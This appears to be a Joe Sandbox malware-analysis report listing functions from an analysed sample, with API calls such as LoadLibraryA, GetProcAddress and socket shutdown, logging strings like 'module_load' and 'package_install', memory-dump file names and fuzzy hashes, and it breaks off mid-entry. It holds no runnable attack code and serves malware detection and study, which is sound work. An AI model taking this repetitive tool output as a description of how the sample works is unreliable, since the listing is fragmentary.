Part of subcall function 00007FF70887824D: strlen.MSVCRT ref: 00007FF708878274
Part of subcall function 00007FF70887824D: strlen.MSVCRT ref: 00007FF708878280

Strings

service, xrefs: 00007FF708878370
[E] (%s) -> Failed(pkg_path=%s,tgt_path=%s,err=%08x), xrefs: 00007FF708878415
package_install, xrefs: 00007FF70887840E, 00007FF70887847E
[I] (%s) -> Done(pkg_path=%s,tgt_path=%s), xrefs: 00007FF708878485

Memory Dump Source

Source File: 00000016.00000002.4541095826.00007FF708871000.00000020.00000001.01000000.00000008.sdmp, Offset: 00007FF708870000, based on PE: true

Associated: 00000016.00000002.4541064552.00007FF708870000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000016.00000002.4541124486.00007FF708880000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000016.00000002.4541158347.00007FF708888000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000016.00000002.4541158347.00007FF70888A000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000016.00000002.4541209081.00007FF70888E000.00000002.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_22_2_7ff708870000_main.jbxd

Similarity

API ID: strlen$HandleModule_mbscpy
String ID: [E] (%s) -> Failed(pkg_path=%s,tgt_path=%s,err=%08x)$[I] (%s) -> Done(pkg_path=%s,tgt_path=%s)$package_install$service
API String ID: 3656010895-1379287937
Opcode ID: 25beba7f4bd3a7add4e3bc7d0c1407a8b4a87d1fbaf1f0616fdca498130ef8a9
Instruction ID: 3cb3d26df2352cb5fdc65edacb5a9af1499843c423203cc943c56ef04e38f2e8
Opcode Fuzzy Hash: 25beba7f4bd3a7add4e3bc7d0c1407a8b4a87d1fbaf1f0616fdca498130ef8a9
Instruction Fuzzy Hash: A2317F2262CA8791EB10EA58EC847EAE370EF84344FD00032E64D477D9DF6DD9A9C758

Function 00007FF8BFB520F3 Relevance: 8.8, APIs: 2, Strings: 3, Instructions: 38libraryloaderCOMMON

Download Yara Rule

APIs

GetProcAddress.KERNEL32 ref: 00007FF8BFB52113

Part of subcall function 00007FF8BFB52FD2: fwrite.MSVCRT ref: 00007FF8BFB5307E
Part of subcall function 00007FF8BFB52FD2: fflush.MSVCRT ref: 00007FF8BFB5308A

GetLastError.KERNEL32 ref: 00007FF8BFB52146

Strings

module_get_proc, xrefs: 00007FF8BFB5212C, 00007FF8BFB52156
[E] (%s) -> Failed(hnd=0x%p,name=%s,gle=%lu), xrefs: 00007FF8BFB5215D
[D] (%s) -> Done(hnd=0x%p,name=%s,ret=0x%p), xrefs: 00007FF8BFB52133

Memory Dump Source

Source File: 00000016.00000002.4543398310.00007FF8BFB51000.00000020.00000001.01000000.0000000A.sdmp, Offset: 00007FF8BFB50000, based on PE: true

Associated: 00000016.00000002.4543375448.00007FF8BFB50000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000016.00000002.4543427892.00007FF8BFB62000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000016.00000002.4543457057.00007FF8BFB6B000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000016.00000002.4543478360.00007FF8BFB6E000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000016.00000002.4543503770.00007FF8BFB6F000.00000008.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000016.00000002.4543526307.00007FF8BFB72000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_22_2_7ff8bfb50000_main.jbxd

Similarity

API ID: AddressErrorLastProcfflushfwrite
String ID: [D] (%s) -> Done(hnd=0x%p,name=%s,ret=0x%p)$[E] (%s) -> Failed(hnd=0x%p,name=%s,gle=%lu)$module_get_proc
API String ID: 1224403792-3063791425
Opcode ID: 27f23b630b3fee3274bf3a028bcd2db1b972005ed87ce814cecee143b722bf30
Instruction ID: fae7ac3dbad79c597fe4d217e641ad54cc7271e936c11fb84b882320d7f2aae3
Opcode Fuzzy Hash: 27f23b630b3fee3274bf3a028bcd2db1b972005ed87ce814cecee143b722bf30
Instruction Fuzzy Hash: 8FF08CA0A0A747A2FE11AB8DFC101AAB3116F14BC4F084131DF4D4BFA9EE3CE5968304

Function 00007FF8BFB84423 Relevance: 8.8, APIs: 2, Strings: 3, Instructions: 38libraryloaderCOMMON

Download Yara Rule

APIs

GetProcAddress.KERNEL32 ref: 00007FF8BFB84443

Part of subcall function 00007FF8BFB81292: fwrite.MSVCRT ref: 00007FF8BFB8133E
Part of subcall function 00007FF8BFB81292: fflush.MSVCRT ref: 00007FF8BFB8134A

GetLastError.KERNEL32 ref: 00007FF8BFB84476

Strings

[D] (%s) -> Done(hnd=0x%p,name=%s,ret=0x%p), xrefs: 00007FF8BFB84463
[E] (%s) -> Failed(hnd=0x%p,name=%s,gle=%lu), xrefs: 00007FF8BFB8448D
module_get_proc, xrefs: 00007FF8BFB8445C, 00007FF8BFB84486

Memory Dump Source

Source File: 00000016.00000002.4543573276.00007FF8BFB81000.00000020.00000001.01000000.00000009.sdmp, Offset: 00007FF8BFB80000, based on PE: true

Associated: 00000016.00000002.4543552020.00007FF8BFB80000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000016.00000002.4543603877.00007FF8BFB93000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000016.00000002.4543623077.00007FF8BFB94000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000016.00000002.4543647847.00007FF8BFB9D000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000016.00000002.4543666942.00007FF8BFBA0000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000016.00000002.4543695367.00007FF8BFBA1000.00000008.00000001.01000000.00000009.sdmpDownload File
Associated: 00000016.00000002.4543713581.00007FF8BFBA4000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_22_2_7ff8bfb80000_main.jbxd

Similarity

API ID: AddressErrorLastProcfflushfwrite
String ID: [D] (%s) -> Done(hnd=0x%p,name=%s,ret=0x%p)$[E] (%s) -> Failed(hnd=0x%p,name=%s,gle=%lu)$module_get_proc
API String ID: 1224403792-3063791425
Opcode ID: 68bf0edd847036089264eecb137d1ff2ce4657a0f68d27ac68f5b67825259f4b
Instruction ID: 9f70e605161bd8623a0eaa56368520d6a4881b57f18ce1d1a9cb370e472f958a
Opcode Fuzzy Hash: 68bf0edd847036089264eecb137d1ff2ce4657a0f68d27ac68f5b67825259f4b
Instruction Fuzzy Hash: C0F08190A4E60781FA159BDDBC045B563916F84BD4F089131DE5D4B7A9EF2CE546C300

Function 00007FF8B915CF13 Relevance: 8.8, APIs: 2, Strings: 3, Instructions: 38libraryloaderCOMMON

Download Yara Rule

APIs

GetProcAddress.KERNEL32 ref: 00007FF8B915CF33

Part of subcall function 00007FF8B9151292: fwrite.MSVCRT ref: 00007FF8B915133E
Part of subcall function 00007FF8B9151292: fflush.MSVCRT ref: 00007FF8B915134A

GetLastError.KERNEL32 ref: 00007FF8B915CF66

Strings

[D] (%s) -> Done(hnd=0x%p,name=%s,ret=0x%p), xrefs: 00007FF8B915CF53
module_get_proc, xrefs: 00007FF8B915CF4C, 00007FF8B915CF76
[E] (%s) -> Failed(hnd=0x%p,name=%s,gle=%lu), xrefs: 00007FF8B915CF7D

Memory Dump Source

Source File: 00000016.00000002.4542713133.00007FF8B9151000.00000020.00000001.01000000.0000000F.sdmp, Offset: 00007FF8B9150000, based on PE: true

Associated: 00000016.00000002.4542690399.00007FF8B9150000.00000002.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000016.00000002.4542749406.00007FF8B9164000.00000002.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000016.00000002.4542780347.00007FF8B916D000.00000004.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000016.00000002.4542800996.00007FF8B9170000.00000004.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000016.00000002.4542827161.00007FF8B9171000.00000008.00000001.01000000.0000000F.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_22_2_7ff8b9150000_main.jbxd

Similarity

API ID: AddressErrorLastProcfflushfwrite
String ID: [D] (%s) -> Done(hnd=0x%p,name=%s,ret=0x%p)$[E] (%s) -> Failed(hnd=0x%p,name=%s,gle=%lu)$module_get_proc
API String ID: 1224403792-3063791425
Opcode ID: 8500f81bbe417212a047b71eb08b57ae0d8934d82496b1388f00adba82d6eef3
Instruction ID: a0d3e14684ce60c442c6588e1570c75b32d2bee1be4b590268df4a59fd05547b
Opcode Fuzzy Hash: 8500f81bbe417212a047b71eb08b57ae0d8934d82496b1388f00adba82d6eef3
Instruction Fuzzy Hash: 6BF0A490E097C382FA565F5EE8101B96351AF45FC4F558132EE4D4B799EF2CE686A300

Function 00007FF8BFAB73F3 Relevance: 8.8, APIs: 2, Strings: 3, Instructions: 38libraryloaderCOMMON

Download Yara Rule

APIs

GetProcAddress.KERNEL32 ref: 00007FF8BFAB7413

Part of subcall function 00007FF8BFABA202: fwrite.MSVCRT ref: 00007FF8BFABA2AE
Part of subcall function 00007FF8BFABA202: fflush.MSVCRT ref: 00007FF8BFABA2BA

GetLastError.KERNEL32 ref: 00007FF8BFAB7446

Strings

module_get_proc, xrefs: 00007FF8BFAB742C, 00007FF8BFAB7456
[D] (%s) -> Done(hnd=0x%p,name=%s,ret=0x%p), xrefs: 00007FF8BFAB7433
[E] (%s) -> Failed(hnd=0x%p,name=%s,gle=%lu), xrefs: 00007FF8BFAB745D

Memory Dump Source

Source File: 00000016.00000002.4543205209.00007FF8BFAB1000.00000020.00000001.01000000.0000000B.sdmp, Offset: 00007FF8BFAB0000, based on PE: true

Associated: 00000016.00000002.4543176156.00007FF8BFAB0000.00000002.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000016.00000002.4543229217.00007FF8BFAC0000.00000002.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000016.00000002.4543258072.00007FF8BFAC8000.00000004.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000016.00000002.4543280015.00007FF8BFACB000.00000004.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000016.00000002.4543353485.00007FF8BFACC000.00000008.00000001.01000000.0000000B.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_22_2_7ff8bfab0000_main.jbxd

Similarity

API ID: AddressErrorLastProcfflushfwrite
String ID: [D] (%s) -> Done(hnd=0x%p,name=%s,ret=0x%p)$[E] (%s) -> Failed(hnd=0x%p,name=%s,gle=%lu)$module_get_proc
API String ID: 1224403792-3063791425
Opcode ID: 872c14c2b4ad4861cf5742ee842d8f6257a05eca4937ccb7efe48da9e016fe22
Instruction ID: 0f7a98879ede79c8e0c24c464531575a80f3d835da37467aa46bfb753350e3d6
Opcode Fuzzy Hash: 872c14c2b4ad4861cf5742ee842d8f6257a05eca4937ccb7efe48da9e016fe22
Instruction Fuzzy Hash: D3F0D150B0CB175AFE1997CEAC031A553166F04BCDF086132CF5E0B7AAEE2DE54A8300

Function 00007FF8BA509F73 Relevance: 8.8, APIs: 2, Strings: 3, Instructions: 38libraryloaderCOMMON

Download Yara Rule

APIs

GetProcAddress.KERNEL32 ref: 00007FF8BA509F93

Part of subcall function 00007FF8BA501292: fwrite.MSVCRT ref: 00007FF8BA50133E
Part of subcall function 00007FF8BA501292: fflush.MSVCRT ref: 00007FF8BA50134A

GetLastError.KERNEL32 ref: 00007FF8BA509FC6

Strings

module_get_proc, xrefs: 00007FF8BA509FAC, 00007FF8BA509FD6
[E] (%s) -> Failed(hnd=0x%p,name=%s,gle=%lu), xrefs: 00007FF8BA509FDD
[D] (%s) -> Done(hnd=0x%p,name=%s,ret=0x%p), xrefs: 00007FF8BA509FB3

Memory Dump Source

Source File: 00000016.00000002.4543038707.00007FF8BA501000.00000020.00000001.01000000.0000000D.sdmp, Offset: 00007FF8BA500000, based on PE: true

Associated: 00000016.00000002.4543016103.00007FF8BA500000.00000002.00000001.01000000.0000000D.sdmpDownload File
Associated: 00000016.00000002.4543075522.00007FF8BA513000.00000002.00000001.01000000.0000000D.sdmpDownload File
Associated: 00000016.00000002.4543104552.00007FF8BA51C000.00000004.00000001.01000000.0000000D.sdmpDownload File
Associated: 00000016.00000002.4543126131.00007FF8BA51F000.00000004.00000001.01000000.0000000D.sdmpDownload File
Associated: 00000016.00000002.4543151844.00007FF8BA520000.00000008.00000001.01000000.0000000D.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_22_2_7ff8ba500000_main.jbxd

Similarity

API ID: AddressErrorLastProcfflushfwrite
String ID: [D] (%s) -> Done(hnd=0x%p,name=%s,ret=0x%p)$[E] (%s) -> Failed(hnd=0x%p,name=%s,gle=%lu)$module_get_proc
API String ID: 1224403792-3063791425
Opcode ID: c036b7072d391179714a13b79d8b8b11ab5854fb510460520e8d13921a022d51
Instruction ID: 41b2fb5881e6be7f283b4540e76669fb653b289022ef4ae9f4654fcf2d121dd4
Opcode Fuzzy Hash: c036b7072d391179714a13b79d8b8b11ab5854fb510460520e8d13921a022d51
Instruction Fuzzy Hash: FDF06290A1D603D2FA125B9EAD401BA5355AF46BC0F448572DF4D47769EE2CD746C700

Function 00007FF708871613 Relevance: 8.8, APIs: 2, Strings: 3, Instructions: 38libraryloaderCOMMON

Download Yara Rule

APIs

GetProcAddress.KERNEL32(?,?,00000000,000001B9FFF913D0,?,00007FF70887941F), ref: 00007FF708871633

Part of subcall function 00007FF7088799E2: fwrite.MSVCRT ref: 00007FF708879A8E
Part of subcall function 00007FF7088799E2: fflush.MSVCRT ref: 00007FF708879A9A

GetLastError.KERNEL32(?,?,00000000,000001B9FFF913D0,?,00007FF70887941F), ref: 00007FF708871666

Strings

[D] (%s) -> Done(hnd=0x%p,name=%s,ret=0x%p), xrefs: 00007FF708871653
module_get_proc, xrefs: 00007FF70887164C, 00007FF708871676
[E] (%s) -> Failed(hnd=0x%p,name=%s,gle=%lu), xrefs: 00007FF70887167D

Memory Dump Source

Source File: 00000016.00000002.4541095826.00007FF708871000.00000020.00000001.01000000.00000008.sdmp, Offset: 00007FF708870000, based on PE: true

Associated: 00000016.00000002.4541064552.00007FF708870000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000016.00000002.4541124486.00007FF708880000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000016.00000002.4541158347.00007FF708888000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000016.00000002.4541158347.00007FF70888A000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000016.00000002.4541209081.00007FF70888E000.00000002.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_22_2_7ff708870000_main.jbxd

Similarity

API ID: AddressErrorLastProcfflushfwrite
String ID: [D] (%s) -> Done(hnd=0x%p,name=%s,ret=0x%p)$[E] (%s) -> Failed(hnd=0x%p,name=%s,gle=%lu)$module_get_proc
API String ID: 1224403792-3063791425
Opcode ID: a157c6f5a070bb91b7064ad8525a1e40f17c6e38c67420683487bfa65821a654
Instruction ID: fd7d202ead52fb95295159ad42467e76e7129aa9683541854ec10576ceeb75f2
Opcode Fuzzy Hash: a157c6f5a070bb91b7064ad8525a1e40f17c6e38c67420683487bfa65821a654
Instruction Fuzzy Hash: CAF0D694A2860381FA52A745AC04DB9E2216F44BC0F884132CC4D077D5EF2CE6AA8328

Function 00007FF8B9181A23 Relevance: 8.8, APIs: 2, Strings: 3, Instructions: 38libraryloaderCOMMON

Download Yara Rule

APIs

GetProcAddress.KERNEL32 ref: 00007FF8B9181A43

Part of subcall function 00007FF8B9181292: fwrite.MSVCRT ref: 00007FF8B918133E
Part of subcall function 00007FF8B9181292: fflush.MSVCRT ref: 00007FF8B918134A

GetLastError.KERNEL32 ref: 00007FF8B9181A76

Strings

module_get_proc, xrefs: 00007FF8B9181A5C, 00007FF8B9181A86
[E] (%s) -> Failed(hnd=0x%p,name=%s,gle=%lu), xrefs: 00007FF8B9181A8D
[D] (%s) -> Done(hnd=0x%p,name=%s,ret=0x%p), xrefs: 00007FF8B9181A63

Memory Dump Source

Source File: 00000016.00000002.4542875243.00007FF8B9181000.00000020.00000001.01000000.0000000E.sdmp, Offset: 00007FF8B9180000, based on PE: true

Associated: 00000016.00000002.4542850884.00007FF8B9180000.00000002.00000001.01000000.0000000E.sdmpDownload File
Associated: 00000016.00000002.4542909887.00007FF8B9196000.00000002.00000001.01000000.0000000E.sdmpDownload File
Associated: 00000016.00000002.4542940731.00007FF8B91A0000.00000004.00000001.01000000.0000000E.sdmpDownload File
Associated: 00000016.00000002.4542967259.00007FF8B91A3000.00000004.00000001.01000000.0000000E.sdmpDownload File
Associated: 00000016.00000002.4542988009.00007FF8B91A4000.00000008.00000001.01000000.0000000E.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_22_2_7ff8b9180000_main.jbxd

Similarity

API ID: AddressErrorLastProcfflushfwrite
String ID: [D] (%s) -> Done(hnd=0x%p,name=%s,ret=0x%p)$[E] (%s) -> Failed(hnd=0x%p,name=%s,gle=%lu)$module_get_proc
API String ID: 1224403792-3063791425
Opcode ID: 7b9909d9e40ec3fb382d97b107a8795d681622530cbf96aad0c3b5d9fcd7d944
Instruction ID: 2d8d8db9d16b8e6589db55cf7037a1ec71be57f06d158bcd65a6be841bdbc603
Opcode Fuzzy Hash: 7b9909d9e40ec3fb382d97b107a8795d681622530cbf96aad0c3b5d9fcd7d944
Instruction Fuzzy Hash: E5F0D191A086C3A2FA028F8DE8402B563526F04BD4F15C031CE4D4B799FE2CEA47B310

Function 00007FF8BFB52174 Relevance: 8.8, APIs: 2, Strings: 3, Instructions: 28libraryCOMMON

Download Yara Rule

APIs

LoadLibraryA.KERNEL32 ref: 00007FF8BFB52182

Part of subcall function 00007FF8BFB52FD2: fwrite.MSVCRT ref: 00007FF8BFB5307E
Part of subcall function 00007FF8BFB52FD2: fflush.MSVCRT ref: 00007FF8BFB5308A

GetLastError.KERNEL32 ref: 00007FF8BFB521AE

Strings

module_load, xrefs: 00007FF8BFB52196, 00007FF8BFB521BA
[E] (%s) -> Failed(name=%s,gle=%lu), xrefs: 00007FF8BFB521C1
[I] (%s) -> Done(name=%s,ret=0x%p), xrefs: 00007FF8BFB5219D

Memory Dump Source

Source File: 00000016.00000002.4543398310.00007FF8BFB51000.00000020.00000001.01000000.0000000A.sdmp, Offset: 00007FF8BFB50000, based on PE: true

Associated: 00000016.00000002.4543375448.00007FF8BFB50000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000016.00000002.4543427892.00007FF8BFB62000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000016.00000002.4543457057.00007FF8BFB6B000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000016.00000002.4543478360.00007FF8BFB6E000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000016.00000002.4543503770.00007FF8BFB6F000.00000008.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000016.00000002.4543526307.00007FF8BFB72000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_22_2_7ff8bfb50000_main.jbxd

Similarity

API ID: ErrorLastLibraryLoadfflushfwrite
String ID: [E] (%s) -> Failed(name=%s,gle=%lu)$[I] (%s) -> Done(name=%s,ret=0x%p)$module_load
API String ID: 4085810780-3386190286
Opcode ID: b4151e89cc68ab8922232e954921d4160c28e21012f4ccf8fb881e6c53f3d0ac
Instruction ID: e7ff4cf232b32bc323f9d46d2f015b9a5df29aa027b0a70aa4991b8754d4bf17
Opcode Fuzzy Hash: b4151e89cc68ab8922232e954921d4160c28e21012f4ccf8fb881e6c53f3d0ac
Instruction Fuzzy Hash: C4F05810E0B64765FE5197DEEC604B473506F28BC0B480471DF0C66B62EE3CF5868300

Function 00007FF8BFB844A4 Relevance: 8.8, APIs: 2, Strings: 3, Instructions: 28libraryCOMMON

Download Yara Rule

APIs

LoadLibraryA.KERNEL32 ref: 00007FF8BFB844B2

Part of subcall function 00007FF8BFB81292: fwrite.MSVCRT ref: 00007FF8BFB8133E
Part of subcall function 00007FF8BFB81292: fflush.MSVCRT ref: 00007FF8BFB8134A

GetLastError.KERNEL32 ref: 00007FF8BFB844DE

Strings

[E] (%s) -> Failed(name=%s,gle=%lu), xrefs: 00007FF8BFB844F1
module_load, xrefs: 00007FF8BFB844C6, 00007FF8BFB844EA
[I] (%s) -> Done(name=%s,ret=0x%p), xrefs: 00007FF8BFB844CD

Memory Dump Source

Source File: 00000016.00000002.4543573276.00007FF8BFB81000.00000020.00000001.01000000.00000009.sdmp, Offset: 00007FF8BFB80000, based on PE: true

Associated: 00000016.00000002.4543552020.00007FF8BFB80000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000016.00000002.4543603877.00007FF8BFB93000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000016.00000002.4543623077.00007FF8BFB94000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000016.00000002.4543647847.00007FF8BFB9D000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000016.00000002.4543666942.00007FF8BFBA0000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000016.00000002.4543695367.00007FF8BFBA1000.00000008.00000001.01000000.00000009.sdmpDownload File
Associated: 00000016.00000002.4543713581.00007FF8BFBA4000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_22_2_7ff8bfb80000_main.jbxd

Similarity

API ID: ErrorLastLibraryLoadfflushfwrite
String ID: [E] (%s) -> Failed(name=%s,gle=%lu)$[I] (%s) -> Done(name=%s,ret=0x%p)$module_load
API String ID: 4085810780-3386190286
Opcode ID: d8dd7991dd3798304102d1c6ec9b6a5b169de9ed62c1dd31b0746ba544ad9bed
Instruction ID: 129b38dfb0f56d9b3f657af8351ca6798785d394a605b4adb99039c610923640
Opcode Fuzzy Hash: d8dd7991dd3798304102d1c6ec9b6a5b169de9ed62c1dd31b0746ba544ad9bed
Instruction Fuzzy Hash: 31F05E10A4A64B81FD55ABDEA8449F02390AF48BC4F48A431CE0D5775AFD2CA646C300

Function 00007FF8BFB81942 Relevance: 8.8, APIs: 2, Strings: 3, Instructions: 28networkCOMMON

Download Yara Rule

APIs

shutdown.WS2_32 ref: 00007FF8BFB81950
WSAGetLastError.WS2_32 ref: 00007FF8BFB81979

Part of subcall function 00007FF8BFB81292: fwrite.MSVCRT ref: 00007FF8BFB8133E
Part of subcall function 00007FF8BFB81292: fflush.MSVCRT ref: 00007FF8BFB8134A

Strings

[E] (%s) -> shutdown failed(sock=0x%llx,chan=%d,WSAgle=%d), xrefs: 00007FF8BFB81997
sock_shutdown, xrefs: 00007FF8BFB8195E, 00007FF8BFB81990
[D] (%s) -> Done(sock=0x%llx), xrefs: 00007FF8BFB81965

Memory Dump Source

Source File: 00000016.00000002.4543573276.00007FF8BFB81000.00000020.00000001.01000000.00000009.sdmp, Offset: 00007FF8BFB80000, based on PE: true

Associated: 00000016.00000002.4543552020.00007FF8BFB80000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000016.00000002.4543603877.00007FF8BFB93000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000016.00000002.4543623077.00007FF8BFB94000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000016.00000002.4543647847.00007FF8BFB9D000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000016.00000002.4543666942.00007FF8BFBA0000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000016.00000002.4543695367.00007FF8BFBA1000.00000008.00000001.01000000.00000009.sdmpDownload File
Associated: 00000016.00000002.4543713581.00007FF8BFBA4000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_22_2_7ff8bfb80000_main.jbxd

Similarity

API ID: ErrorLastfflushfwriteshutdown
String ID: [D] (%s) -> Done(sock=0x%llx)$[E] (%s) -> shutdown failed(sock=0x%llx,chan=%d,WSAgle=%d)$sock_shutdown
API String ID: 2143829457-932964775
Opcode ID: d6588b44ca74bd409c2f78fa1d34f814bde72a429c89db37472fc14125d1e203
Instruction ID: 0372d173eb8bf139b0ac4ef13d43122c1b9e6ab6fd080b6f57a60e297fe26457
Opcode Fuzzy Hash: d6588b44ca74bd409c2f78fa1d34f814bde72a429c89db37472fc14125d1e203
Instruction Fuzzy Hash: D3F0E221E0D543C1EA146FADE8440F92350AF85BD8F94C632DB0C821F2FE2CA54BC300

Function 00007FF8B915CF94 Relevance: 8.8, APIs: 2, Strings: 3, Instructions: 28libraryCOMMON

Download Yara Rule

APIs

LoadLibraryA.KERNEL32 ref: 00007FF8B915CFA2

Part of subcall function 00007FF8B9151292: fwrite.MSVCRT ref: 00007FF8B915133E
Part of subcall function 00007FF8B9151292: fflush.MSVCRT ref: 00007FF8B915134A

GetLastError.KERNEL32 ref: 00007FF8B915CFCE

Strings

[I] (%s) -> Done(name=%s,ret=0x%p), xrefs: 00007FF8B915CFBD
[E] (%s) -> Failed(name=%s,gle=%lu), xrefs: 00007FF8B915CFE1
module_load, xrefs: 00007FF8B915CFB6, 00007FF8B915CFDA

Memory Dump Source

Source File: 00000016.00000002.4542713133.00007FF8B9151000.00000020.00000001.01000000.0000000F.sdmp, Offset: 00007FF8B9150000, based on PE: true

Associated: 00000016.00000002.4542690399.00007FF8B9150000.00000002.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000016.00000002.4542749406.00007FF8B9164000.00000002.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000016.00000002.4542780347.00007FF8B916D000.00000004.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000016.00000002.4542800996.00007FF8B9170000.00000004.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000016.00000002.4542827161.00007FF8B9171000.00000008.00000001.01000000.0000000F.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_22_2_7ff8b9150000_main.jbxd

Similarity

API ID: ErrorLastLibraryLoadfflushfwrite
String ID: [E] (%s) -> Failed(name=%s,gle=%lu)$[I] (%s) -> Done(name=%s,ret=0x%p)$module_load
API String ID: 4085810780-3386190286
Opcode ID: 9d72b4fa98c9842228753628f205ac3672df276f9da1b1e84b80ddd4ff2c3b68
Instruction ID: d989370117e27ff442e7930c8d3286487e26d7d20239ba50bff6a1dc5269743b
Opcode Fuzzy Hash: 9d72b4fa98c9842228753628f205ac3672df276f9da1b1e84b80ddd4ff2c3b68
Instruction Fuzzy Hash: 63F0BE64E0AAD741FA43AF5EE8104B422806F08BC4F499432DE0C96B56EE1CB585E300

Function 00007FF8BFAB7474 Relevance: 8.8, APIs: 2, Strings: 3, Instructions: 28libraryCOMMON

Download Yara Rule

APIs

LoadLibraryA.KERNEL32 ref: 00007FF8BFAB7482

Part of subcall function 00007FF8BFABA202: fwrite.MSVCRT ref: 00007FF8BFABA2AE
Part of subcall function 00007FF8BFABA202: fflush.MSVCRT ref: 00007FF8BFABA2BA

GetLastError.KERNEL32 ref: 00007FF8BFAB74AE

Strings

[I] (%s) -> Done(name=%s,ret=0x%p), xrefs: 00007FF8BFAB749D
[E] (%s) -> Failed(name=%s,gle=%lu), xrefs: 00007FF8BFAB74C1
module_load, xrefs: 00007FF8BFAB7496, 00007FF8BFAB74BA

Memory Dump Source

Source File: 00000016.00000002.4543205209.00007FF8BFAB1000.00000020.00000001.01000000.0000000B.sdmp, Offset: 00007FF8BFAB0000, based on PE: true

Associated: 00000016.00000002.4543176156.00007FF8BFAB0000.00000002.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000016.00000002.4543229217.00007FF8BFAC0000.00000002.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000016.00000002.4543258072.00007FF8BFAC8000.00000004.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000016.00000002.4543280015.00007FF8BFACB000.00000004.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000016.00000002.4543353485.00007FF8BFACC000.00000008.00000001.01000000.0000000B.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_22_2_7ff8bfab0000_main.jbxd

Similarity

API ID: ErrorLastLibraryLoadfflushfwrite
String ID: [E] (%s) -> Failed(name=%s,gle=%lu)$[I] (%s) -> Done(name=%s,ret=0x%p)$module_load
API String ID: 4085810780-3386190286
Opcode ID: bb1c619928ca4f7d8e2c426f45a5e1ff751cec92606ee6664daf73d51ae6e90a
Instruction ID: 5e68b352eae296a1d0e7405c0cef4d81bcd2cd250befd975a666e64423d59853
Opcode Fuzzy Hash: bb1c619928ca4f7d8e2c426f45a5e1ff751cec92606ee6664daf73d51ae6e90a
Instruction Fuzzy Hash: F6F05E10A0EB4B48FD19A7DEAC434B027506F04BDDB483431CF0D16766FD6DA98A8300

Function 00007FF8BFAB1462 Relevance: 8.8, APIs: 2, Strings: 3, Instructions: 28networkCOMMON

Download Yara Rule

APIs

shutdown.WS2_32 ref: 00007FF8BFAB1470
WSAGetLastError.WS2_32 ref: 00007FF8BFAB1499

Part of subcall function 00007FF8BFABA202: fwrite.MSVCRT ref: 00007FF8BFABA2AE
Part of subcall function 00007FF8BFABA202: fflush.MSVCRT ref: 00007FF8BFABA2BA

Strings

sock_shutdown, xrefs: 00007FF8BFAB147E, 00007FF8BFAB14B0
[E] (%s) -> shutdown failed(sock=0x%llx,chan=%d,WSAgle=%d), xrefs: 00007FF8BFAB14B7
[D] (%s) -> Done(sock=0x%llx), xrefs: 00007FF8BFAB1485

Memory Dump Source

